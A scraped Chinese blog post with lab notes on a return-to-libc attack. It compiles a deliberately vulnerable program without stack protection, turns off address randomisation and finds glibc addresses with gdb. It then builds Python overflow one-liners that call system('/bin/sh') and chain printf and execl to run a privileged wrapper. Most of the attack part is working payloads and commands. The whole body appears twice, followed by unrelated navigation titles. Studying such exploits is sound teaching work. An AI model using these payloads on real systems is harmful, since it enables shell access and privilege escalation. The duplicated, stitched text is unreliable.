不可执行内存页保护攻击--return to libc attack
来源:互联网 发布:dhtmlxgrid 获取数据 编辑:程序博客网 时间:2024/05/03 16:02
@1. 基本思路
控制eip使程序流程流向glibc函数,而不是shellcode所在的堆栈上。system(),exit()……
@2. 规划如下:
缓冲区 --> 溢出
ebp --> 溢出
eip --> system()地址
vars --> 填充内容(一般是4个字节,作为system()返回之后的eip)
--> '/bin/sh'
@3. write vuln2.c and compile it with order 'gcc -mpreferred-stack-boundary=2 -fno-stack-protector -o viln2 vuln2.c ' 去掉"-z execstack"是加上堆栈不可执行。
@4. 关闭地址随机化,echo 0 > /proc/sys/kernel/randomize_va_space
@5. find where is glibc's system() and where is "/bin/sh"
在gdb里面寻找: (gdb) print system
$1 = {<text variable, no debug info>} 0xb7e52260 <__libc_system>
使用程序search.c寻找:
编译search.c出错:在函数‘main’中:
search.c:(.text+0x6e):对‘dlopen’未定义的引用
search.c:(.text+0x8a):对‘dlsym’未定义的引用
search.c:(.text+0xc5):对‘dlsym’未定义的引用
collect2: error: ld returned 1 exit status
问题描述:Undefined reference to 错误:这类错误是在连接过程中出现的,可能有两种原因∶一是使用者自己定义的函数或者全局变量所在源代码文件,没有被编译、连接,或者干脆还没有定义,这 需要使用者根据实际情况修改源程序,给出全局变量或者函数的定义体;二是未定义的符号是一个标准的库函数,在源程序中使用了该库函数,而连接过程中还没有 给定相应的函数库的名称,或者是该档案库的目录名称有问题.
解决:gcc -o search search.c -ldl (-lm)
result:
system() found at b7e51260
exit() found at b7e437f0
"/bin/sh" found at b7f79b98
@6. 构造溢出串。
结果中的地址都小了0x1000
./vuln2 `python -c "print 'A'*11+'\x60\x22\xe5\xb7'+'\xf0\x47\xe4\xb7'+'\x98\xab\xf7\xb7'"`
@7. 提升权限。
本地高权限程序wrapper.c,利用漏洞调用本地高权限程序即可提升权限。
#1. 编写wrapper.c
#2. execl('./wrapper', './wrapper', NULL)
因此,需要找到execl()的地址、"./wrapper"地址(环境变量)、printf()地址,"%3\$n地址(环境变量).
#3.gdb
print printf
$1 = {<text variable, no debug info>} 0xb7e5f7d0 <__printf>
print execl
$2 = {<text variable, no debug info>} 0xb7ecbe40 <__GI_execl>
#4.get_env.c compiled file's name's length must be equal "vuln2"'s length(5)
#5. store env_vars
export FMTSTR="%3\$n"
./gtenv FMTSTR
FMTSTR is located at 0xbffffa39
export WRAPPER="./wrapper"
./gtenv WRAPPER
WRAPPER is located at 0xbffffb1c
./gtenv NULL
NULL is located at 0xbffffbfd
#6. 构造假堆栈
缓冲区 --> 溢出
ebp --> 溢出
eip --> printf()的地址
--- --> execl()的地址
--- --> "%3\$n"地址
--- --> "./wrapper"的地址
--- --> "./wrapper"的地址
--- --> paddings --> 该处使用了一个环境变量NULL的地址(在上面有列出)
./vuln2 `python -c "print 'A'*11+'\xd0\xf7\xe5\xb7'+'\x40\xbe\xec\xb7'+'\x39\xfa\xff\xbf'+'\x1c\xfb\xff\xbf'*2+'\xfd\xfb\xff\xbf'"`
#7.反思,只要使用NULL环境变量给execl()提供最偶一个参数就可以了。
./vuln2 `python -c "print 'A'*11+'\x40\xbe\xec\xb7'+'BBBB'+'\x1c\xfb\xff\xbf'*2+'\xfd\xfb\xff\xbf'"`
控制eip使程序流程流向glibc函数,而不是shellcode所在的堆栈上。system(),exit()……
@2. 规划如下:
缓冲区 --> 溢出
ebp --> 溢出
eip --> system()地址
vars --> 填充内容(一般是4个字节,作为system()返回之后的eip)
--> '/bin/sh'
@3. write vuln2.c and compile it with order 'gcc -mpreferred-stack-boundary=2 -fno-stack-protector -o viln2 vuln2.c ' 去掉"-z execstack"是加上堆栈不可执行。
@4. 关闭地址随机化,echo 0 > /proc/sys/kernel/randomize_va_space
@5. find where is glibc's system() and where is "/bin/sh"
在gdb里面寻找: (gdb) print system
$1 = {<text variable, no debug info>} 0xb7e52260 <__libc_system>
使用程序search.c寻找:
编译search.c出错:在函数‘main’中:
search.c:(.text+0x6e):对‘dlopen’未定义的引用
search.c:(.text+0x8a):对‘dlsym’未定义的引用
search.c:(.text+0xc5):对‘dlsym’未定义的引用
collect2: error: ld returned 1 exit status
问题描述:Undefined reference to 错误:这类错误是在连接过程中出现的,可能有两种原因∶一是使用者自己定义的函数或者全局变量所在源代码文件,没有被编译、连接,或者干脆还没有定义,这 需要使用者根据实际情况修改源程序,给出全局变量或者函数的定义体;二是未定义的符号是一个标准的库函数,在源程序中使用了该库函数,而连接过程中还没有 给定相应的函数库的名称,或者是该档案库的目录名称有问题.
解决:gcc -o search search.c -ldl (-lm)
result:
system() found at b7e51260
exit() found at b7e437f0
"/bin/sh" found at b7f79b98
@6. 构造溢出串。
结果中的地址都小了0x1000
./vuln2 `python -c "print 'A'*11+'\x60\x22\xe5\xb7'+'\xf0\x47\xe4\xb7'+'\x98\xab\xf7\xb7'"`
@7. 提升权限。
本地高权限程序wrapper.c,利用漏洞调用本地高权限程序即可提升权限。
#1. 编写wrapper.c
#2. execl('./wrapper', './wrapper', NULL)
因此,需要找到execl()的地址、"./wrapper"地址(环境变量)、printf()地址,"%3\$n地址(环境变量).
#3.gdb
print printf
$1 = {<text variable, no debug info>} 0xb7e5f7d0 <__printf>
print execl
$2 = {<text variable, no debug info>} 0xb7ecbe40 <__GI_execl>
#4.get_env.c compiled file's name's length must be equal "vuln2"'s length(5)
#5. store env_vars
export FMTSTR="%3\$n"
./gtenv FMTSTR
FMTSTR is located at 0xbffffa39
export WRAPPER="./wrapper"
./gtenv WRAPPER
WRAPPER is located at 0xbffffb1c
./gtenv NULL
NULL is located at 0xbffffbfd
#6. 构造假堆栈
缓冲区 --> 溢出
ebp --> 溢出
eip --> printf()的地址
--- --> execl()的地址
--- --> "%3\$n"地址
--- --> "./wrapper"的地址
--- --> "./wrapper"的地址
--- --> paddings --> 该处使用了一个环境变量NULL的地址(在上面有列出)
./vuln2 `python -c "print 'A'*11+'\xd0\xf7\xe5\xb7'+'\x40\xbe\xec\xb7'+'\x39\xfa\xff\xbf'+'\x1c\xfb\xff\xbf'*2+'\xfd\xfb\xff\xbf'"`
#7.反思,只要使用NULL环境变量给execl()提供最偶一个参数就可以了。
./vuln2 `python -c "print 'A'*11+'\x40\xbe\xec\xb7'+'BBBB'+'\x1c\xfb\xff\xbf'*2+'\xfd\xfb\xff\xbf'"`
0 0
- 不可执行内存页保护攻击--return to libc attack
- return-to-libc攻击实验
- Return-to-libc攻击实验
- Lab2 : Return to Libc
- Lab2 Return-To-Libc
- seedlab:return-to-libc
- Lab 2: Return-to-libc
- Return-into-libc 攻击及其防御
- Blind Return Oriented Programming (BROP) Attack - 攻击原理
- Blind Return Oriented Programming(BROP)Attack攻击原理
- 网络攻击 cyber attack
- JSOI2016 炸弹攻击Attack
- 绕过Linux不可执行堆栈保护的方法浅析
- return 语句不可返回指向“栈内存”的“指针”
- 使用ret2libc攻击方法绕过数据执行保护
- sybil attack (女巫攻击)
- 怎样取消IE8中的启用内存保护攻击
- 如何关闭系统中的IE启用内存保护攻击
- 基于Mesos和Docker的分布式计算平台
- hdu2156取石子游戏(巴士博弈&&规律)
- OpenGL Bresenhan画线法
- flume安装配置小结
- Android SlidingMenu 使用详解
- 不可执行内存页保护攻击--return to libc attack
- hdoj--3072--Intelligence System(scc+缩点+数据去重)
- [LeetCode] Multiply Strings
- 【Java基础】--Java容器剖析:Set、List、Map接口
- 最近两场cf总结
- 有关(int&)和(int)的区别
- 上班一周总结
- iOS动态更新
- java第一次加载项目时遇到的问题